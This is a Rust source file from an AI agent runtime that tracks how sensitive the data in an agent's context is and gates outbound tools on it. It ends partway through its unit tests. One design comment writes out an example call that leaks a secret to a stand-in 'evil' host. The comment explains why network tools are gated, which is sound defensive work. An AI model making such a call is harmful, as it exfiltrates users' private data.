Skip to main content

leviath_core/
taint.rs

1//! Context taint tracking types for security gating.
2//!
3//! Every piece of data entering a context region carries a sensitivity tag.
4//! When an agent attempts an outbound action, the system checks whether
5//! the data flowing into that action exceeds the tool's clearance level.
6//! Taint levels are deterministic - set by the runtime based on tool
7//! declarations and user policy, never by model output.
8
9use serde::{Deserialize, Serialize};
10use std::fmt;
11
12/// Sensitivity level for data in context regions.
13///
14/// Ordered from least to most sensitive. When compared, higher sensitivity
15/// levels are "greater than" lower ones.
16#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
17pub enum TaintLevel {
18    /// Freely shareable. Web search results, public documentation, open-source code.
19    Public,
20    /// Work-related but not personal. Private repo code, internal docs, team discussions.
21    #[default]
22    Internal,
23    /// Personal or highly sensitive. Calendar, messages, contacts, financial data.
24    Private,
25}
26
27impl TaintLevel {
28    /// Returns the numeric rank of this taint level for ordering purposes.
29    fn rank(self) -> u8 {
30        match self {
31            TaintLevel::Public => 0,
32            TaintLevel::Internal => 1,
33            TaintLevel::Private => 2,
34        }
35    }
36
37    /// Returns the maximum of two taint levels.
38    pub fn max(self, other: TaintLevel) -> TaintLevel {
39        if self >= other { self } else { other }
40    }
41
42    /// Parse a taint level from a string (case-insensitive).
43    pub fn from_str_loose(s: &str) -> Option<TaintLevel> {
44        match s.to_lowercase().as_str() {
45            "public" => Some(TaintLevel::Public),
46            "internal" => Some(TaintLevel::Internal),
47            "private" => Some(TaintLevel::Private),
48            _ => None,
49        }
50    }
51
52    /// Returns the string representation used in TOML config.
53    pub fn as_str(self) -> &'static str {
54        match self {
55            TaintLevel::Public => "public",
56            TaintLevel::Internal => "internal",
57            TaintLevel::Private => "private",
58        }
59    }
60}
61
62impl PartialOrd for TaintLevel {
63    fn partial_cmp(&self, other: &Self) -> Option<std::cmp::Ordering> {
64        Some(self.cmp(other))
65    }
66}
67
68impl Ord for TaintLevel {
69    fn cmp(&self, other: &Self) -> std::cmp::Ordering {
70        self.rank().cmp(&other.rank())
71    }
72}
73
74impl fmt::Display for TaintLevel {
75    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
76        f.write_str(self.as_str())
77    }
78}
79
80/// Direction of a tool's data flow.
81#[derive(Debug, Default, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
82pub enum ToolDirection {
83    /// Tool brings data into the agent (e.g., read_file, web_search).
84    Inbound,
85    /// Tool operates locally within the agent (e.g., write_file, ask_user).
86    #[default]
87    Internal,
88    /// Tool sends data outside the agent (e.g., send_email, post_to_slack).
89    Outbound,
90}
91
92impl ToolDirection {
93    /// Parse from a string (case-insensitive).
94    pub fn from_str_loose(s: &str) -> Option<ToolDirection> {
95        match s.to_lowercase().as_str() {
96            "inbound" => Some(ToolDirection::Inbound),
97            "internal" => Some(ToolDirection::Internal),
98            "outbound" => Some(ToolDirection::Outbound),
99            _ => None,
100        }
101    }
102
103    /// Returns the string representation used in TOML config.
104    pub fn as_str(self) -> &'static str {
105        match self {
106            ToolDirection::Inbound => "inbound",
107            ToolDirection::Internal => "internal",
108            ToolDirection::Outbound => "outbound",
109        }
110    }
111}
112
113impl fmt::Display for ToolDirection {
114    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
115        f.write_str(self.as_str())
116    }
117}
118
119/// Classification of a tool for taint tracking purposes.
120///
121/// Each tool declares its sensitivity (output taint level), direction
122/// (inbound/internal/outbound), and clearance (max taint level allowed
123/// for outbound operations).
124#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
125pub struct ToolClassification {
126    /// Sensitivity of the tool's output (what taint level its results carry).
127    pub sensitivity: TaintLevel,
128    /// Direction of data flow.
129    pub direction: ToolDirection,
130    /// Maximum taint level this tool can accept for outbound operations.
131    /// Only meaningful when direction is Outbound.
132    pub clearance: TaintLevel,
133}
134
135impl ToolClassification {
136    /// Create a new tool classification.
137    pub fn new(sensitivity: TaintLevel, direction: ToolDirection, clearance: TaintLevel) -> Self {
138        Self {
139            sensitivity,
140            direction,
141            clearance,
142        }
143    }
144
145    /// Returns true if this tool is outbound (sends data outside the agent).
146    pub fn is_outbound(&self) -> bool {
147        self.direction == ToolDirection::Outbound
148    }
149
150    /// Check whether the given taint level passes this tool's gate.
151    /// Returns true if the taint level is within clearance (taint <= clearance).
152    /// Non-outbound tools always pass.
153    pub fn check_clearance(&self, taint: TaintLevel) -> bool {
154        if !self.is_outbound() {
155            return true;
156        }
157        taint <= self.clearance
158    }
159}
160
161impl Default for ToolClassification {
162    fn default() -> Self {
163        Self {
164            sensitivity: TaintLevel::Internal,
165            direction: ToolDirection::Internal,
166            clearance: TaintLevel::Public,
167        }
168    }
169}
170
171/// Taint tracking state for a single region.
172///
173/// Tracks the current maximum taint level across all content in the region,
174/// along with per-entry source tracking to support taint recovery on eviction.
175#[derive(Debug, Clone, Serialize, Deserialize)]
176pub struct RegionTaint {
177    /// Current maximum taint level in this region.
178    current_level: TaintLevel,
179    /// Per-entry taint levels, indexed in the same order as region content entries.
180    entry_taints: Vec<TaintLevel>,
181}
182
183impl RegionTaint {
184    /// Create a new RegionTaint defaulting to Public (no tainted data).
185    pub fn new() -> Self {
186        Self {
187            current_level: TaintLevel::Public,
188            entry_taints: Vec::new(),
189        }
190    }
191
192    /// Get the current taint level of this region.
193    pub fn level(&self) -> TaintLevel {
194        self.current_level
195    }
196
197    /// Record that a new entry was added with the given taint level.
198    /// Updates the region's current taint level if necessary.
199    pub fn add_entry(&mut self, taint: TaintLevel) {
200        self.entry_taints.push(taint);
201        self.current_level = self.current_level.max(taint);
202    }
203
204    /// Record that the oldest entry was removed (e.g., sliding window eviction).
205    /// Recomputes taint from remaining entries.
206    pub fn remove_oldest(&mut self) {
207        if !self.entry_taints.is_empty() {
208            self.entry_taints.remove(0);
209            self.recompute();
210        }
211    }
212
213    /// Record that the entry at `idx` was removed.
214    /// Recomputes taint from remaining entries.
215    pub fn remove_at(&mut self, idx: usize) {
216        if idx < self.entry_taints.len() {
217            self.entry_taints.remove(idx);
218            self.recompute();
219        }
220    }
221
222    /// Record that all entries were cleared.
223    pub fn clear(&mut self) {
224        self.entry_taints.clear();
225        self.current_level = TaintLevel::Public;
226    }
227
228    /// Recompute the taint level from remaining entries.
229    /// Called after eviction to allow taint recovery.
230    pub fn recompute(&mut self) {
231        self.current_level = self
232            .entry_taints
233            .iter()
234            .copied()
235            .max()
236            .unwrap_or(TaintLevel::Public);
237    }
238
239    /// Get the number of tracked entries.
240    pub fn entry_count(&self) -> usize {
241        self.entry_taints.len()
242    }
243
244    /// Get the taint level of a specific entry by index.
245    /// Rebuild from a persisted list of per-entry taints.
246    ///
247    /// `current_level` is derived rather than stored, so a restored region ends
248    /// up at exactly the level its entries justify - and recovers as they evict,
249    /// the same as one that was never persisted.
250    pub fn from_entry_taints(entry_taints: Vec<TaintLevel>) -> Self {
251        let current_level = entry_taints
252            .iter()
253            .copied()
254            .max()
255            .unwrap_or(TaintLevel::Public);
256        Self {
257            current_level,
258            entry_taints,
259        }
260    }
261
262    /// The taint recorded for the entry at `index`, or `None` when the index is
263    /// past the end.
264    ///
265    /// Returns `Option` rather than defaulting to `Public` so a caller cannot
266    /// mistake "no such entry" for "that entry is clean".
267    pub fn entry_taint(&self, index: usize) -> Option<TaintLevel> {
268        self.entry_taints.get(index).copied()
269    }
270}
271
272impl Default for RegionTaint {
273    fn default() -> Self {
274        Self::new()
275    }
276}
277
278/// Security configuration for taint tracking.
279#[derive(Debug, Clone, Serialize, Deserialize)]
280pub struct SecurityConfig {
281    /// Whether taint tracking is enabled.
282    pub taint_tracking: bool,
283}
284
285impl Default for SecurityConfig {
286    fn default() -> Self {
287        // A present `[security]` block (even empty) means "configure security",
288        // so the struct default is taint-on; a manifest with no block at all
289        // yields `None`, which callers must resolve through
290        // [`resolve_security`]/[`resolve_taint_enabled`] (default off). Do NOT
291        // use `unwrap_or_default()` on an optional agent/global config - that
292        // conflates "no block" with "empty block" and forces taint on
293        // everywhere; cascade through the global setting instead.
294        Self {
295            taint_tracking: true,
296        }
297    }
298}
299
300/// Resolve whether taint tracking is enabled for a stage, cascading
301/// stage → agent → global (default off when nothing is set).
302///
303/// **A blueprint can only turn taint tracking on, never off.** The stage and
304/// agent configs come from `agent.leviath`, so if a manifest could set
305/// `taint_tracking = false` over a user's global `true`, installing an agent
306/// would be enough to disable the machine's data-flow enforcement. A manifest
307/// that wants tracking when the user has it off is still honored - that
308/// direction only tightens.
309pub fn resolve_taint_enabled(
310    global: bool,
311    agent: Option<&SecurityConfig>,
312    stage: Option<&SecurityConfig>,
313) -> bool {
314    let manifest = stage
315        .map(|s| s.taint_tracking)
316        .or_else(|| agent.map(|a| a.taint_tracking));
317    global || manifest.unwrap_or(false)
318}
319
320/// Resolve the effective [`SecurityConfig`] for a stage: the most specific
321/// present config (stage over agent), or a default whose `taint_tracking`
322/// follows the global toggle when neither level configures it.
323///
324/// `taint_tracking` is clamped by [`resolve_taint_enabled`] so the two agree -
325/// a manifest cannot disable what the user enabled.
326pub fn resolve_security(
327    global: bool,
328    agent: Option<&SecurityConfig>,
329    stage: Option<&SecurityConfig>,
330) -> SecurityConfig {
331    let mut resolved = match stage.or(agent) {
332        Some(c) => c.clone(),
333        None => SecurityConfig {
334            taint_tracking: global,
335        },
336    };
337    resolved.taint_tracking = resolve_taint_enabled(global, agent, stage);
338    resolved
339}
340
341/// The shared stage → agent → global cascade behind the system-prompt hint
342/// toggles. A `Some(_)` at a narrower level overrides broader levels; when
343/// neither the stage nor the agent sets it, the global toggle applies. (Same
344/// shape as [`resolve_taint_enabled`], but the global default is on rather than
345/// off, and a manifest may turn a hint off - these are UX knobs, not security.)
346fn resolve_hint(global: bool, agent: Option<bool>, stage: Option<bool>) -> bool {
347    stage.or(agent).unwrap_or(global)
348}
349
350/// Resolve whether the batch-tool-calls system-prompt hint is enabled for a
351/// stage, cascading stage → agent → global: a `Some(_)` at a narrower level
352/// wins, and an unset pair falls through to the global toggle.
353pub fn resolve_batch_tool_hint(global: bool, agent: Option<bool>, stage: Option<bool>) -> bool {
354    resolve_hint(global, agent, stage)
355}
356
357/// Resolve whether the platform shell hint is enabled for a stage, cascading
358/// stage → agent → global on the same terms as [`resolve_batch_tool_hint`].
359///
360/// Enabled only decides whether the hint is *eligible*. It is emitted only when
361/// the host platform has something worth saying about its shell and the stage
362/// actually advertises the shell tool, both checked at request-build time.
363pub fn resolve_shell_hint(global: bool, agent: Option<bool>, stage: Option<bool>) -> bool {
364    resolve_hint(global, agent, stage)
365}
366
367/// Result of a gate check - whether a tool invocation is allowed.
368#[derive(Debug, Clone, PartialEq, Eq)]
369pub enum GateDecision {
370    /// Taint level is within clearance - proceed.
371    Allowed,
372    /// Taint level exceeds clearance - gate fires.
373    Blocked {
374        /// The taint level that caused the block.
375        taint_level: TaintLevel,
376        /// The tool's clearance level.
377        clearance: TaintLevel,
378        /// Names of regions contributing to the taint.
379        source_regions: Vec<String>,
380        /// The tool being invoked.
381        tool_name: String,
382    },
383}
384
385impl GateDecision {
386    /// Returns true if the gate allows the action.
387    pub fn is_allowed(&self) -> bool {
388        matches!(self, GateDecision::Allowed)
389    }
390
391    /// For a `Blocked` decision, the `(taint_level, clearance)` that caused the
392    /// block; `None` for `Allowed`.
393    pub fn blocked_levels(&self) -> Option<(TaintLevel, TaintLevel)> {
394        match self {
395            GateDecision::Blocked {
396                taint_level,
397                clearance,
398                ..
399            } => Some((*taint_level, *clearance)),
400            GateDecision::Allowed => None,
401        }
402    }
403}
404
405/// A single gate event for audit logging.
406#[derive(Debug, Clone, Serialize, Deserialize)]
407pub struct GateEvent {
408    /// Timestamp of the event.
409    pub timestamp: i64,
410    /// Agent that triggered the gate.
411    pub agent_id: String,
412    /// Tool being invoked.
413    pub tool_name: String,
414    /// Taint level at time of check.
415    pub taint_level: TaintLevel,
416    /// Tool's clearance level.
417    pub clearance: TaintLevel,
418    /// Whether the action was allowed.
419    pub allowed: bool,
420    /// How the decision was made.
421    pub decision_source: GateDecisionSource,
422}
423
424/// How a gate decision was reached.
425#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
426pub enum GateDecisionSource {
427    /// Taint was within clearance - automatic allow.
428    AutoAllow,
429    /// Taint exceeded clearance - automatic block, before any user decision.
430    AutoBlock,
431    /// Matched a static allowlist rule.
432    AllowlistRule {
433        /// Which rule matched, by position in the configured list, so a decision
434        /// can be traced back to the line that made it.
435        rule_index: usize,
436    },
437    /// Matched a scripted (Rhai) rule.
438    ScriptedRule {
439        /// The script that allowed it, by path as declared.
440        script_name: String,
441    },
442    /// User allowed once interactively.
443    UserAllowOnce,
444    /// User created an "always allow" rule.
445    UserAlwaysAllow,
446    /// User denied the action.
447    UserDenied,
448    /// Taint tracking is disabled - automatic allow.
449    TaintDisabled,
450    /// Auto-approved by `--yolo`: the gate would have blocked, but the agent
451    /// runs unattended so enforcement is waived. Recorded (rather than silently
452    /// skipped) so the audit trail still shows the over-cleared call.
453    YoloAutoApprove,
454}
455
456/// Built-in tool classification defaults.
457///
458/// The taint gate only fires on tools classified [`ToolDirection::Outbound`], so
459/// this table decides what data-flow enforcement can see at all. Anything that
460/// can carry bytes off the machine must be outbound: marking **only**
461/// `shell`/`bash` would let a Private-tainted context be exfiltrated by
462/// `web_fetch("https://evil/?d=<secret>")` with taint tracking fully enabled -
463/// along with any MCP tool and any script tool, which an internal/internal
464/// fallback would never gate.
465///
466/// The fallback for an *unknown* tool is outbound too. An unrecognized tool is
467/// usually an MCP or script tool - third-party code reaching a third-party
468/// service - so an internal default would assume the safest case about the
469/// least-known code. Failing closed costs a prompt; failing open costs the data.
470pub fn builtin_tool_classification(tool_name: &str) -> ToolClassification {
471    // An unknown tool is almost always an MCP or Rhai script tool:
472    // third-party code, usually talking to a third-party service. Treat it
473    // as outbound so the gate sees it. `ToolClassification::default()` -
474    // internal/internal - assumed the safest case about the least-known
475    // code, and left every MCP and script tool ungated.
476    classified_builtin(tool_name).unwrap_or_else(|| {
477        ToolClassification::new(
478            TaintLevel::Public,
479            ToolDirection::Outbound,
480            TaintLevel::Public,
481        )
482    })
483}
484
485/// The classification of a built-in tool by name, or `None` for a name that
486/// has no arm of its own and so takes the third-party default.
487///
488/// Separate from [`builtin_tool_classification`] so a test can hold every
489/// built-in the registry advertises to an arm of its own: the default is
490/// outbound and gated, and a built-in that reached it was blocked in every
491/// taint-tracking run with anything Private in context, silently.
492pub fn classified_builtin(tool_name: &str) -> Option<ToolClassification> {
493    let classification = match tool_name {
494        // `read_files` is `read_file` over several paths.
495        "read_file" | "read_files" => ToolClassification::new(
496            TaintLevel::Internal,
497            ToolDirection::Inbound,
498            TaintLevel::Public,
499        ),
500        "write_file" => ToolClassification::new(
501            TaintLevel::Internal,
502            ToolDirection::Internal,
503            TaintLevel::Public,
504        ),
505        // `edit_document` edits a draft the same way `edit_file` edits a
506        // file, with a person at the other end instead of the disk.
507        "edit_file" | "edit_document" => ToolClassification::new(
508            TaintLevel::Internal,
509            ToolDirection::Internal,
510            TaintLevel::Public,
511        ),
512        // The context and todo tools write the run's own state: the agent's
513        // regions and its checklist. Nothing leaves the machine, so none is a
514        // channel the gate watches.
515        "context_write" | "context_append" | "context_read" | "context_delete" | "context_list"
516        | "todo_add" | "todo_done" | "todo_note" => ToolClassification::new(
517            TaintLevel::Internal,
518            ToolDirection::Internal,
519            TaintLevel::Public,
520        ),
521        // `submit_output` records the answer the caller gets back, and the
522        // caller is not always on this machine: `lev serve` hands it to any
523        // reader of `GET /api/agents/{id}/result`, and the dashboard shows
524        // it. It is the run's one deliberate channel out, so it takes the
525        // shape `shell` has, outbound with Public clearance, and a Private
526        // region in a submitted answer raises the leak prompt (or the
527        // policy's verdict) rather than leaving quietly. It sat with the
528        // context tools as internal before, which let Private context reach
529        // a remote reader with no prompt at all.
530        "submit_output" => ToolClassification::new(
531            TaintLevel::Public,
532            ToolDirection::Outbound,
533            TaintLevel::Public,
534        ),
535        "list_dir" => ToolClassification::new(
536            TaintLevel::Internal,
537            ToolDirection::Inbound,
538            TaintLevel::Public,
539        ),
540        "shell" | "bash" => ToolClassification::new(
541            TaintLevel::Public,
542            ToolDirection::Outbound,
543            TaintLevel::Public,
544        ),
545        // `web_search` sends a *query* the model wrote, so it is not purely
546        // inbound: the query itself is a channel out. Classified outbound so a
547        // Private context cannot be smuggled into a search string.
548        "web_search" | "web_fetch" | "http_get" | "http_post" | "fetch" => ToolClassification::new(
549            TaintLevel::Public,
550            ToolDirection::Outbound,
551            TaintLevel::Public,
552        ),
553        // The environment tools bring facts about the host *in*; none of them
554        // sends anything out, so none is a channel the gate needs to watch.
555        //
556        // `current_time` and `locale_info` are Public: the date and the user's
557        // language are not secrets. The other three are Internal because they
558        // name this machine, its directory layout, its installed software and
559        // the run's own configuration - not secret, but not for publishing
560        // either, so a Public-clearance outbound tool cannot forward them.
561        "current_time" | "locale_info" => ToolClassification::new(
562            TaintLevel::Public,
563            ToolDirection::Inbound,
564            TaintLevel::Public,
565        ),
566        "system_info" | "environment_info" | "which_command" | "runtime_info" => {
567            ToolClassification::new(
568                TaintLevel::Internal,
569                ToolDirection::Inbound,
570                TaintLevel::Public,
571            )
572        }
573        "ask_user_text" | "ask_user_choice" | "ask_user_confirm" | "present_for_review" => {
574            ToolClassification::new(
575                TaintLevel::Internal,
576                ToolDirection::Internal,
577                TaintLevel::Public,
578            )
579        }
580        // `fan_out` is many `spawn_agent`s at once.
581        "spawn_agent" | "check_agent" | "wait_for_agent" | "send_to_agent" | "kill_agent"
582        | "fan_out" => ToolClassification::new(
583            TaintLevel::Internal,
584            ToolDirection::Internal,
585            TaintLevel::Public,
586        ),
587        _ => return None,
588    };
589    Some(classification)
590}
591
592#[cfg(test)]
593mod tests {
594    use super::*;
595
596    /// Without persisted taint, every restart, resume or page-in brings a
597    /// region back `Public` while the gate reports itself armed, silently
598    /// unblocking outbound tools it should be blocking.
599    #[test]
600    fn taint_rebuilds_from_persisted_entries_at_the_highest_level() {
601        let restored = RegionTaint::from_entry_taints(vec![
602            TaintLevel::Public,
603            TaintLevel::Private,
604            TaintLevel::Internal,
605        ]);
606        assert_eq!(restored.level(), TaintLevel::Private);
607        assert_eq!(restored.entry_taint(1), Some(TaintLevel::Private));
608
609        // An empty region is Public, which is also what an older snapshot with
610        // no taint field restores as.
611        assert_eq!(
612            RegionTaint::from_entry_taints(Vec::new()).level(),
613            TaintLevel::Public
614        );
615    }
616
617    // ─── TaintLevel ─────────────────────────────────────────────────────────
618
619    #[test]
620    fn taint_level_ordering() {
621        assert!(TaintLevel::Public < TaintLevel::Internal);
622        assert!(TaintLevel::Internal < TaintLevel::Private);
623        assert!(TaintLevel::Public < TaintLevel::Private);
624    }
625
626    #[test]
627    fn taint_level_equality() {
628        assert_eq!(TaintLevel::Public, TaintLevel::Public);
629        assert_eq!(TaintLevel::Internal, TaintLevel::Internal);
630        assert_eq!(TaintLevel::Private, TaintLevel::Private);
631        assert_ne!(TaintLevel::Public, TaintLevel::Private);
632    }
633
634    #[test]
635    fn taint_level_max() {
636        assert_eq!(
637            TaintLevel::Public.max(TaintLevel::Internal),
638            TaintLevel::Internal
639        );
640        assert_eq!(
641            TaintLevel::Private.max(TaintLevel::Public),
642            TaintLevel::Private
643        );
644        assert_eq!(
645            TaintLevel::Internal.max(TaintLevel::Internal),
646            TaintLevel::Internal
647        );
648    }
649
650    #[test]
651    fn taint_level_default_is_internal() {
652        assert_eq!(TaintLevel::default(), TaintLevel::Internal);
653    }
654
655    #[test]
656    fn taint_level_display() {
657        assert_eq!(format!("{}", TaintLevel::Public), "public");
658        assert_eq!(format!("{}", TaintLevel::Internal), "internal");
659        assert_eq!(format!("{}", TaintLevel::Private), "private");
660    }
661
662    #[test]
663    fn taint_level_from_str_loose() {
664        assert_eq!(
665            TaintLevel::from_str_loose("public"),
666            Some(TaintLevel::Public)
667        );
668        assert_eq!(
669            TaintLevel::from_str_loose("INTERNAL"),
670            Some(TaintLevel::Internal)
671        );
672        assert_eq!(
673            TaintLevel::from_str_loose("Private"),
674            Some(TaintLevel::Private)
675        );
676        assert_eq!(TaintLevel::from_str_loose("unknown"), None);
677    }
678
679    #[test]
680    fn taint_level_as_str() {
681        assert_eq!(TaintLevel::Public.as_str(), "public");
682        assert_eq!(TaintLevel::Internal.as_str(), "internal");
683        assert_eq!(TaintLevel::Private.as_str(), "private");
684    }
685
686    #[test]
687    fn taint_level_serde_roundtrip() {
688        for level in [
689            TaintLevel::Public,
690            TaintLevel::Internal,
691            TaintLevel::Private,
692        ] {
693            let json = serde_json::to_string(&level).unwrap();
694            let back: TaintLevel = serde_json::from_str(&json).unwrap();
695            assert_eq!(level, back);
696        }
697    }
698
699    #[test]
700    fn taint_level_hash() {
701        use std::collections::HashSet;
702        let mut set = HashSet::new();
703        set.insert(TaintLevel::Public);
704        set.insert(TaintLevel::Internal);
705        set.insert(TaintLevel::Private);
706        set.insert(TaintLevel::Public); // duplicate
707        assert_eq!(set.len(), 3);
708    }
709
710    // ─── ToolDirection ──────────────────────────────────────────────────────
711
712    #[test]
713    fn tool_direction_from_str_loose() {
714        assert_eq!(
715            ToolDirection::from_str_loose("inbound"),
716            Some(ToolDirection::Inbound)
717        );
718        assert_eq!(
719            ToolDirection::from_str_loose("OUTBOUND"),
720            Some(ToolDirection::Outbound)
721        );
722        assert_eq!(
723            ToolDirection::from_str_loose("Internal"),
724            Some(ToolDirection::Internal)
725        );
726        assert_eq!(ToolDirection::from_str_loose("nope"), None);
727    }
728
729    #[test]
730    fn tool_direction_default_is_internal() {
731        assert_eq!(ToolDirection::default(), ToolDirection::Internal);
732    }
733
734    #[test]
735    fn tool_direction_display() {
736        assert_eq!(format!("{}", ToolDirection::Inbound), "inbound");
737        assert_eq!(format!("{}", ToolDirection::Internal), "internal");
738        assert_eq!(format!("{}", ToolDirection::Outbound), "outbound");
739    }
740
741    #[test]
742    fn tool_direction_serde_roundtrip() {
743        for dir in [
744            ToolDirection::Inbound,
745            ToolDirection::Internal,
746            ToolDirection::Outbound,
747        ] {
748            let json = serde_json::to_string(&dir).unwrap();
749            let back: ToolDirection = serde_json::from_str(&json).unwrap();
750            assert_eq!(dir, back);
751        }
752    }
753
754    // ─── ToolClassification ────────────────────────────────────────────────
755
756    #[test]
757    fn tool_classification_default() {
758        let tc = ToolClassification::default();
759        assert_eq!(tc.sensitivity, TaintLevel::Internal);
760        assert_eq!(tc.direction, ToolDirection::Internal);
761        assert_eq!(tc.clearance, TaintLevel::Public);
762    }
763
764    #[test]
765    fn tool_classification_outbound_check() {
766        let tc = ToolClassification::new(
767            TaintLevel::Public,
768            ToolDirection::Outbound,
769            TaintLevel::Internal,
770        );
771        assert!(tc.is_outbound());
772        assert!(tc.check_clearance(TaintLevel::Public));
773        assert!(tc.check_clearance(TaintLevel::Internal));
774        assert!(!tc.check_clearance(TaintLevel::Private));
775    }
776
777    #[test]
778    fn tool_classification_non_outbound_always_passes() {
779        let tc = ToolClassification::new(
780            TaintLevel::Private,
781            ToolDirection::Inbound,
782            TaintLevel::Public, // clearance is irrelevant for non-outbound
783        );
784        assert!(!tc.is_outbound());
785        assert!(tc.check_clearance(TaintLevel::Private));
786    }
787
788    #[test]
789    fn tool_classification_serde_roundtrip() {
790        let tc = ToolClassification::new(
791            TaintLevel::Private,
792            ToolDirection::Outbound,
793            TaintLevel::Internal,
794        );
795        let json = serde_json::to_string(&tc).unwrap();
796        let back: ToolClassification = serde_json::from_str(&json).unwrap();
797        assert_eq!(tc, back);
798    }
799
800    // ─── RegionTaint ───────────────────────────────────────────────────────
801
802    #[test]
803    fn region_taint_starts_public() {
804        let rt = RegionTaint::new();
805        assert_eq!(rt.level(), TaintLevel::Public);
806        assert_eq!(rt.entry_count(), 0);
807    }
808
809    #[test]
810    fn region_taint_add_entry_raises_level() {
811        let mut rt = RegionTaint::new();
812        rt.add_entry(TaintLevel::Internal);
813        assert_eq!(rt.level(), TaintLevel::Internal);
814        rt.add_entry(TaintLevel::Private);
815        assert_eq!(rt.level(), TaintLevel::Private);
816    }
817
818    #[test]
819    fn region_taint_add_public_doesnt_lower() {
820        let mut rt = RegionTaint::new();
821        rt.add_entry(TaintLevel::Private);
822        rt.add_entry(TaintLevel::Public);
823        assert_eq!(rt.level(), TaintLevel::Private);
824    }
825
826    #[test]
827    fn region_taint_remove_oldest_recovers() {
828        let mut rt = RegionTaint::new();
829        rt.add_entry(TaintLevel::Private);
830        rt.add_entry(TaintLevel::Public);
831        assert_eq!(rt.level(), TaintLevel::Private);
832
833        rt.remove_oldest(); // removes Private entry
834        assert_eq!(rt.level(), TaintLevel::Public);
835    }
836
837    #[test]
838    fn region_taint_remove_oldest_empty() {
839        let mut rt = RegionTaint::new();
840        rt.remove_oldest(); // no-op
841        assert_eq!(rt.level(), TaintLevel::Public);
842    }
843
844    #[test]
845    fn region_taint_clear() {
846        let mut rt = RegionTaint::new();
847        rt.add_entry(TaintLevel::Private);
848        rt.add_entry(TaintLevel::Internal);
849        rt.clear();
850        assert_eq!(rt.level(), TaintLevel::Public);
851        assert_eq!(rt.entry_count(), 0);
852    }
853
854    #[test]
855    fn region_taint_recompute() {
856        let mut rt = RegionTaint::new();
857        rt.add_entry(TaintLevel::Private);
858        rt.add_entry(TaintLevel::Internal);
859        rt.add_entry(TaintLevel::Public);
860        assert_eq!(rt.entry_count(), 3);
861
862        // Simulate eviction of first entry
863        rt.remove_oldest();
864        assert_eq!(rt.level(), TaintLevel::Internal);
865        assert_eq!(rt.entry_count(), 2);
866    }
867
868    #[test]
869    fn region_taint_entry_taint() {
870        let mut rt = RegionTaint::new();
871        rt.add_entry(TaintLevel::Public);
872        rt.add_entry(TaintLevel::Private);
873        assert_eq!(rt.entry_taint(0), Some(TaintLevel::Public));
874        assert_eq!(rt.entry_taint(1), Some(TaintLevel::Private));
875        assert_eq!(rt.entry_taint(2), None);
876    }
877
878    #[test]
879    fn region_taint_default() {
880        let rt = RegionTaint::default();
881        assert_eq!(rt.level(), TaintLevel::Public);
882    }
883
884    #[test]
885    fn region_taint_serde_roundtrip() {
886        let mut rt = RegionTaint::new();
887        rt.add_entry(TaintLevel::Internal);
888        rt.add_entry(TaintLevel::Private);
889        let json = serde_json::to_string(&rt).unwrap();
890        let back: RegionTaint = serde_json::from_str(&json).unwrap();
891        assert_eq!(back.level(), TaintLevel::Private);
892        assert_eq!(back.entry_count(), 2);
893    }
894
895    // ─── SecurityConfig ─────────────────────────────────────────────────────
896
897    #[test]
898    fn security_config_default() {
899        let sc = SecurityConfig::default();
900        assert!(sc.taint_tracking);
901    }
902
903    #[test]
904    fn security_config_serde_roundtrip() {
905        let sc = SecurityConfig {
906            taint_tracking: false,
907        };
908        let json = serde_json::to_string(&sc).unwrap();
909        let back: SecurityConfig = serde_json::from_str(&json).unwrap();
910        assert!(!back.taint_tracking);
911    }
912
913    // ─── GateDecision ───────────────────────────────────────────────────────
914
915    #[test]
916    fn gate_decision_allowed() {
917        let d = GateDecision::Allowed;
918        assert!(d.is_allowed());
919    }
920
921    #[test]
922    fn gate_decision_blocked() {
923        let d = GateDecision::Blocked {
924            taint_level: TaintLevel::Private,
925            clearance: TaintLevel::Public,
926            source_regions: vec!["conversation".into()],
927            tool_name: "send_email".into(),
928        };
929        assert!(!d.is_allowed());
930    }
931
932    // ─── GateEvent ──────────────────────────────────────────────────────────
933
934    #[test]
935    fn gate_event_serde_roundtrip() {
936        let event = GateEvent {
937            timestamp: 1234567890,
938            agent_id: "agent-1".into(),
939            tool_name: "send_email".into(),
940            taint_level: TaintLevel::Private,
941            clearance: TaintLevel::Public,
942            allowed: false,
943            decision_source: GateDecisionSource::UserDenied,
944        };
945        let json = serde_json::to_string(&event).unwrap();
946        let back: GateEvent = serde_json::from_str(&json).unwrap();
947        assert_eq!(back.agent_id, "agent-1");
948        assert!(!back.allowed);
949    }
950
951    #[test]
952    fn gate_decision_source_variants() {
953        let sources = vec![
954            GateDecisionSource::AutoAllow,
955            GateDecisionSource::AllowlistRule { rule_index: 0 },
956            GateDecisionSource::ScriptedRule {
957                script_name: "test.rhai".into(),
958            },
959            GateDecisionSource::UserAllowOnce,
960            GateDecisionSource::UserAlwaysAllow,
961            GateDecisionSource::UserDenied,
962            GateDecisionSource::TaintDisabled,
963        ];
964        for src in sources {
965            let json = serde_json::to_string(&src).unwrap();
966            let back: GateDecisionSource = serde_json::from_str(&json).unwrap();
967            assert_eq!(src, back);
968        }
969    }
970
971    // ─── Built-in tool classifications ──────────────────────────────────────
972
973    #[test]
974    fn builtin_read_file_classification() {
975        let tc = builtin_tool_classification("read_file");
976        assert_eq!(tc.sensitivity, TaintLevel::Internal);
977        assert_eq!(tc.direction, ToolDirection::Inbound);
978    }
979
980    #[test]
981    fn builtin_shell_classification() {
982        let tc = builtin_tool_classification("shell");
983        assert_eq!(tc.sensitivity, TaintLevel::Public);
984        assert_eq!(tc.direction, ToolDirection::Outbound);
985        assert_eq!(tc.clearance, TaintLevel::Public);
986
987        // bash alias
988        let tc2 = builtin_tool_classification("bash");
989        assert_eq!(tc2.direction, ToolDirection::Outbound);
990    }
991
992    /// Every tool that can carry bytes off the machine is outbound, which is
993    /// the only direction the gate inspects. `web_search` counts: the *query*
994    /// is model-written, so it is a channel out even though the results come
995    /// back in. Previously only `shell`/`bash` were outbound, so a Private
996    /// context could be exfiltrated through any of these with taint tracking
997    /// fully enabled.
998    #[test]
999    fn network_capable_tools_are_outbound() {
1000        for name in ["web_search", "web_fetch", "http_get", "http_post", "fetch"] {
1001            let tc = builtin_tool_classification(name);
1002            assert_eq!(tc.sensitivity, TaintLevel::Public, "{name}");
